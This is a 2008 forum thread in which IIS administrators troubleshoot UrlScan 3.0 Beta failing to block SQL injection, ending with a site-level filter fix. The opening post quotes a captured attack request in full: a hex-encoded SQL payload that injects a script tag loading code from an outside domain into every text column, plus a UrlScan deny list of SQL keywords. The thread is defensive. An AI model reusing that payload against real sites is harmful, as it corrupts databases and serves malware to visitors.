Previous Next

Thread: UrlScan 3.0 Beta not capturing SQL Injection

Last post 08-19-2008 10:01 AM by Rovastar. 43 replies.

Average Rating Rate It (5)

RSS

Page 1 of 3 (44 items) 1 2 3 Next >

Sort Posts:

  • 07-03-2008, 1:41 PM

    UrlScan 3.0 Beta not capturing SQL Injection

    I'm trying to combat a wave of SQL injection attacks on an IIS 6.0 server. I've installed UrlScan and setup a [SQL Injection] rule. I'm not receiving any rejections so I probably have something configured incorrectly. UrlScan is shown as a valid ISAPI filter within the IIS administrator for all sites on the server. I am seeing "The following rules are active: SQL Injection" in the UrlScan log. I do see a blocked entry if I attempt to connect to the site via localhost using ".com" in the address, so a portion of the UrlScan.ini seems to be working. Any ideas?

    Here is an example of an query string injection that is not being blocked:
    /details.asp ProductID=139;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E63616E636C76722E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--


    Here is the UrlScan.ini content:

    [options]

    UseAllowVerbs=1                ; If 1, use [AllowVerbs] section, else use the
                                   ; [DenyVerbs] section.   The default is 1.

    UseAllowExtensions=0           ; If 1, use [AllowExtensions] section, else
                                   ; use the [DenyExtensions] section. The
                                   ; default is 0.

    NormalizeUrlBeforeScan=1       ; If 1, canonicalize URL before processing.
                                   ; The default is 1.  Note that setting this
                                   ; to 0 will make checks based on extensions,
                                   ; and the URL unreliable and is therefore not
                                   ; recommend other than for testing.

    VerifyNormalization=1          ; If 1, canonicalize URL twice and reject
                                   ; request if a change occurs.  The default
                                   ; is 1.

    AllowHighBitCharacters=0       ; If 1, allow high bit (ie. UTF8 or MBCS)
                                   ; characters in URL.  The default is 0.

    AllowDotInPath=0               ; If 1, allow dots that are not file
                                   ; extensions. The default is 0. Note that
                                   ; setting this property to 1 will make checks
                                   ; based on extensions unreliable and is
                                   ; therefore not recommended other than for
                                   ; testing.

    RemoveServerHeader=0           ; If 1, remove the 'Server' header from
                                   ; response.  The default is 0.

    EnableLogging=1                ; If 1, log UrlScan activity.  The
                                   ; default is 1.  Changes to this property
                                   ; will not take effect until UrlScan is
                                   ; restarted.

    PerProcessLogging=0            ; This property is deprecated for UrlScan
                                   ; 3.0.  UrlScan 3.0 can safely log output
                                   ; from multiple processes to the same log
                                   ; file.  Changes to this property will not
                                   ; take effect until UrlScan is restarted.

    AllowLateScanning=0            ; If 1, then UrlScan will load as a low
                                   ; priority filter.  The default is 0.  Note
                                   ; that this setting should only be used in
                                   ; the case where there another installed
                                   ; filter is modifying the URL and you wish
                                   ; to have UrlScan apply its rules to the
                                   ; rewritten URL.  Changes to this property
                                   ; will not take effect until UrlScan is
                                   ; restarted.

    PerDayLogging=1                ; If 1, UrlScan will produce a new log each
                                   ; day with activity in the form
                                   ; 'UrlScan.010101.log'. If 0, UrlScan will
                                   ; log activity to urlscan.log.  The default
                                   ; is 1.  Changes to this setting will not
                                   ; take effect until UrlScan is restarted.

    UseFastPathReject=0            ; If 1, then UrlScan will not use the
                                   ; RejectResponseUrl or allow IIS to log the
                                   ; request.  UrlScan will continue to write its
                                   ; own log as normal.  The default is 0.

    LogLongUrls=0                  ; This property is deprecated for UrlScan 3.0.
                                   ; UrlScan 3.0 will always include the complete
                                   ; URL in its log file.

    UnescapeQueryString=1          ; If 1, UrlScan will perform two passes on
                                   ; each query string scan, once with the raw
                                   ; query string and once after unescaping it.
                                   ; If 0, UrlScan will only look at the raw
                                   ; query string as sent by the client.  The
                                   ; default is 1. Note that if this property is
                                   ; set to 0, then checks based on the query
                                   ; string will be unreliable.

    ;
    ; If UseFastPathReject is 0, then UrlScan will send
    ; rejected requests to the URL specified by RejectResponseUrl.
    ; If not specified, '/Rejected-by-UrlScan' will be used.
    ; Changes to this setting will not take effect until UrlScan
    ; is restarted.
    ;

    RejectResponseUrl=

    ;
    ; LoggingDirectory can be used to specify the directory where the
    ; log file will be created.  This value should be the absolute path
    ; (ie. c:\some\path).  If not specified, then UrlScan will create
    ; the log in the same directory where the UrlScan.dll file is located.
    ; Changes to this setting will not take effect until UrlScan is
    ; restarted.
    ;

    LoggingDirectory=Logs

    ;
    ; If RemoveServerHeader is 0, then AlternateServerName can be
    ; used to specify a replacement for IIS's built in 'Server' header
    ;

    AlternateServerName=

    ;
    ; UrlScan supports custom rules that can be applied in addition to the other
    ; checks and options specified in this configuration file.  Rules should be
    ; listed in a comma separated string in the RuleList property.  Each rule in
    ; the list corresponds to two sections in this configuration file, one
    ; containing the options for the rule, and one containing deny strings for
    ; the rule.
    ;
    ; Here is an example:
    ;
    ;   [Options]
    ;   RuleList=Rule1
    ;
    ;   [Rule1]
    ;   AppliesTo=.exe,.dll        ; A comma separated list of file extensions to
    ;                              ; which the rule applies.  If not specified,
    ;                              ; the rule will be applied to all requests.
    ;
    ;   DenyDataSection=Rule1 Data ; The name of the section containing the
    ;                              ; rule's deny strings
    ;
    ;   ScanURL=0                  ; If 1, the URL will be scanned for deny
    ;                              ; strings. The default is 0.
    ;
    ;   ScanAllRaw=0               ; If 1, then the raw request header data will
    ;                              ; be scanned for deny strings.  The default
    ;                              ; is 0.
    ;
    ;   ScanQueryString=0          ; If 1, the the query string will be scanned
    ;                              ; for deny strings.  The default is 0.  Note
    ;                              ; that if UnescapeQueryString=1 is set in the
    ;                              ; [Options] section, then two scans will be
    ;                              ; made of the query string, one with the raw
    ;                              ; query string and one with the query string
    ;                              ; unescaped.
    ;
    ;   ScanHeaders=               ; A comma separated list of request headers to
    ;                              ; be scanned for deny strings.  The default is
    ;                              ; no headers.
    ;
    ;   [Rule1 data]
    ;   string1
    ;   string2
    ;

    RuleList=SQL Injection

    [RequestLimits]

    ;
    ; The entries in this section impose limits on the length
    ; of allowed parts of requests reaching the server.
    ;
    ; It is possible to impose a limit on the length of the
    ; value of a specific request header by prepending "Max-" to the
    ; name of the header.  For example, the following entry would
    ; impose a limit of 100 bytes to the value of the
    ; 'Content-Type' header:
    ;
    ;   Max-Content-Type=100
    ;
    ; To list a header and not specify a maximum value, use 0
    ; (ie. 'Max-User-Agent=0').  Also, any headers not listed
    ; in this section will not be checked for length limits.
    ;
    ; There are 3 special case limits:
    ;
    ;   - MaxAllowedContentLength specifies the maximum allowed
    ;     numeric value of the Content-Length request header.  For
    ;     example, setting this to 1000 would cause any request
    ;     with a content length that exceeds 1000 to be rejected.
    ;     The default is 30000000.
    ;
    ;   - MaxUrl specifies the maximum length of the request URL,
    ;     not including the query string. The default is 260 (which
    ;     is equivalent to MAX_PATH).
    ;
    ;   - MaxQueryString specifies the maximum length of the query
    ;     string.  The default is 2048.
    ;

    MaxAllowedContentLength=30000000
    MaxUrl=260
    MaxQueryString=2;048

    [AllowVerbs]

    ;
    ; The verbs (aka HTTP methods) listed here are those commonly
    ; processed by a typical IIS server.
    ;
    ; Note that these entries are effective if "UseAllowVerbs=1"
    ; is set in the [Options] section above.
    ;

    GET
    HEAD
    POST

    [DenyVerbs]

    ;
    ; The verbs (aka HTTP methods) listed here are used for publishing
    ; content to an IIS server via WebDAV.
    ;
    ; Note that these entries are effective if "UseAllowVerbs=0"
    ; is set in the [Options] section above.
    ;

    PROPFIND
    PROPPATCH
    MKCOL
    DELETE
    PUT
    COPY
    MOVE
    LOCK
    UNLOCK
    OPTIONS
    SEARCH

    [DenyHeaders]

    ;
    ; The following request headers alter processing of a
    ; request by causing the server to process the request
    ; as if it were intended to be a WebDAV request, instead
    ; of a request to retrieve a resource.
    ;

    Translate:
    If:
    Lock-Token:
    Transfer-Encoding:

    [AllowExtensions]

    ;
    ; Extensions listed here are commonly used on a typical IIS server.
    ;
    ; Note that these entries are effective if "UseAllowExtensions=1"
    ; is set in the [Options] section above.
    ;

    .htm
    .html
    .txt
    .jpg
    .jpeg
    .gif

    [DenyExtensions]

    ;
    ; Extensions listed here either run code directly on the server,
    ; are processed as scripts, or are static files that are
    ; generally not intended to be served out.
    ;
    ; Note that these entries are effective if "UseAllowExtensions=0"
    ; is set in the [Options] section above.
    ;
    ; Also note that ASP scripts are denied with the below
    ; settings.  If you wish to enable ASP, remove the
    ; following extensions from this list:
    ;    .asp
    ;    .cer
    ;    .cdx
    ;    .asa
    ;

    ; Deny executables that could run on the server
    .exe
    .bat
    .cmd
    .com

    ; Deny infrequently used scripts
    .htw     ; Maps to webhits.dll, part of Index Server
    .ida     ; Maps to idq.dll, part of Index Server
    .idq     ; Maps to idq.dll, part of Index Server
    .htr     ; Maps to ism.dll, a legacy administrative tool
    .idc     ; Maps to httpodbc.dll, a legacy database access tool
    .shtm    ; Maps to ssinc.dll, for Server Side Includes
    .shtml   ; Maps to ssinc.dll, for Server Side Includes
    .stm     ; Maps to ssinc.dll, for Server Side Includes
    .printer ; Maps to msw3prt.dll, for Internet Printing Services

    ; Deny various static files
    .ini     ; Configuration files
    .log     ; Log files
    .pol     ; Policy files
    .dat     ; Configuration files
    .config  ; Configuration files

    [DenyUrlSequences]
    ;
    ; If any character sequences listed here appear in the URL for
    ; any request, that request will be rejected.
    ;

    ..  ; Don't allow directory traversals
    ./  ; Don't allow trailing dot on a directory name
    \   ; Don't allow backslashes in URL
    :   ; Don't allow alternate stream access
    %   ; Don't allow escaping after normalization
    &   ; Don't allow multiple CGI processes to run on a single request

    [DenyQueryStringSequences]
    ;
    ; If any character sequences listed here appear in the query
    ; string for any request, that request will be rejected.
    ;

    <   ; Commonly used by script injection attacks
    >   ; Commonly used by script injection attacks

    [SQL Injection]
    AppliesTo=.asp,.aspx
    DenyDataSection=SQL Injection Strings
    ScanUrl=0
    ScanAllRaw=0
    ScanQueryString=1
    ScanHeaders=

    [SQL Injection Strings]
    --
    %3b ; a semicolon
    /*
    @ ; also catches @@
    char ; also catches nchar and varchar
    alter
    begin
    cast
    convert
    create
    cursor
    declare
    delete
    drop
    end
    exec ; also catches execute
    fetch
    insert
    kill
    open
    select
    sys ; also catches sysobjects and syscolumns
    table
    update

     

    Tags:
  • 07-03-2008, 1:55 PM In reply to

    • Rovastar
    • Top 10 Contributor
    • Joined on 03-13-2008, 10:00 AM
    • London, UK
    • Posts 749

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    I actually might have the same thing.

    I installed URLscanner on IIS6 last night finally and I too was getting the same problem. basically it blocked nothing. Similiar ini to yours which IMHO looks ok. 

    All the urlscan logs say the rules are all ok. Even the explict rules that are described in the ini and in the logs like like <> in the query string gets through.

    Does yours block anything?

    I thought I must have done something wrong but late last night I could not see what. It is not very reassuring that the logs say they are running rules but nothing gets blocked (well I am just logging atm but nothing is logged). Either the logs should say it is not working or they should block stuff.

    How can a case occur when URLscan own logs think it is all running ok but nothing gets blocked. I even reinstalled URLscan jsut incase too.

    I need to look at this further. Wade any ideas?

    Most overused word in IT is 'should' as in 'That should work!?!'
  • 07-03-2008, 3:55 PM In reply to

    • Rovastar
    • Top 10 Contributor
    • Joined on 03-13-2008, 10:00 AM
    • London, UK
    • Posts 749

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    Mine appears to be working now. I am sure it took a while (hours) to kick in.  I need to check in more detail and never enough time in the day.

    Most overused word in IT is 'should' as in 'That should work!?!'
  • 07-03-2008, 4:12 PM In reply to

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    The only thing I can get it to block is from the local server.

    http://localhost/mysite.com

    blocks with the following UrlScan log entry:

    Client at 127.0.0.1: URL contains extension '.com', which is disallowed. Request will be rejected.  Site Instance='1', Raw URL='/mysite.com'

  • 07-03-2008, 6:38 PM In reply to

    • Rovastar
    • Top 10 Contributor
    • Joined on 03-13-2008, 10:00 AM
    • London, UK
    • Posts 749

    Re: UrlScan 3.0 Beta not capturing SQL Injection

     Have you restarted IIS?

    Most overused word in IT is 'should' as in 'That should work!?!'
  • 07-03-2008, 6:44 PM In reply to

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    I restarted IIS after making configuration changes and then restarted the entire server. No difference.

  • 07-03-2008, 10:50 PM In reply to

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    1) Try putting double quotes around the RuleList.  That should matter, but worth a shot.

    2) Can you post your log file after it loads

    3) Look in either the website level or machine level isapi-filter loaded.

    4) Enable auditing and see if there is a file / folder permission level.  Filemon / process monitor can help.

    http://weblogs.asp.net/steveschofield/archive/2008/03/07/detecting-permission-issues-using-auditing-and-process-monitor.aspx

    Hope that helps.

    Steve Schofield
    Windows Server MVP - IIS
    http://weblogs.asp.net/steveschofield

    http://www.IISLogs.com
    Log archival solution
    Install, Configure, Forget
  • 07-04-2008, 1:49 PM In reply to

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    Thanks for the tips. I believe it's working now.

    I ended up having to add the ISAPI filter at the website level. I also have it at the "All Web Sites" level, but that only works for the default site. Once I added the UrlScan ISAPI filter to the sites I'm trying to protect and restarted IIS, the injections are being blocked.

  • 07-10-2008, 12:37 PM In reply to

    • wadeh
    • Top 50 Contributor
    • Joined on 04-19-2005, 10:17 PM
    • Posts 98

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    Hi Mike,

    I would like to understand what happened here.

    What version of IIS?

    Are you saying that the installer for UrlScan resulted in behavior where it only applied to the default web site?

    Is there anything else you can suggest so that we can reproduce this here?

    Thanks,
    -Wade

  • 07-11-2008, 5:59 PM In reply to

    Re: UrlScan 3.0 Beta not capturing SQL Injection

     Hi Wade,

    The problem occurred on Windows Server 2003, IIS 6.0. The initial install of UrlScan successfully added the ISAPI filter as indicated in the "Web Sites" section of IIS Manager. No filters were shown at the individual site level (correct configuration). This only allowed scanning to occur on the default site.

    On each individual site I added the ISAPI filter from the ISAPI tab in IIS Manager by browsing to the urlscan.dll location. At the site level, the ISAPI Status does not show up or down, the Filter Name listed is "URLScan" and the Priority is shown as *Unknown*, but it now filters those sites.

    The default site is under "all unassigned" IP's and the individual sites are each under different IP's - maybe that's a clue. Other than that, it's a vanilla asp installation.

    Mike

  • 07-14-2008, 5:59 PM In reply to

    • wadeh
    • Top 50 Contributor
    • Joined on 04-19-2005, 10:17 PM
    • Posts 98

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    Thanks for the additional information.  Unfortunately, we cannot reproduce the problem here.

    I have ensured that your scenario is added to our test suites for UrlScan so that it is something we explicitly look at.

    Thanks,
    -Wade

  • 07-15-2008, 10:31 AM In reply to

    • desquinn
    • Not Ranked
    • Joined on 07-15-2008, 2:13 PM
    • Posts 4

    Re: UrlScan 3.0 Beta not capturing SQL Injection

     Same situation here. At the global level it was not picking up things. I am applying it at the site level and will see what happens.

     

    System is a VPS with windows 2003 x64.

  • 07-15-2008, 10:40 AM In reply to

    • wadeh
    • Top 50 Contributor
    • Joined on 04-19-2005, 10:17 PM
    • Posts 98

    Re: UrlScan 3.0 Beta not capturing SQL Injection

    I would like to understand why this is happening.

    Can you please send me your metabase.xml file, your urlscan.ini file, and a urlscan.log file that shows startup?

    Also, can you please search your system drive and see if you have multiple copies of urlscan.ini?

    My direct email address is wadeh@microsoft.com.

    Thanks,
    -Wade

  • 07-15-2008, 11:02 AM In reply to

    • desquinn
    • Not Ranked
    • Joined on 07-15-2008, 2:13 PM
    • Posts 4

    Re: UrlScan 3.0 Beta not capturing SQL Injection

     I have replied with the requested files by email. thanks.

  • 07-16-2008, 10:02 AM In reply to

    • desquinn
    • Not Ranked
    • Joined on 07-15-2008, 2:13 PM
    • Posts 4

    Re: UrlScan 3.0 Beta not capturing SQL Injection

     I am still passing some info back and forth with wadehbut I found that maxquerystring works globally ok and with my application a limit of a 1000 characters is sufficeint to fend off the current lot of script kiddies. Gives me time to look at the code a bit more :)

Page 1 of 3 (44 items) 1 2 3 Next >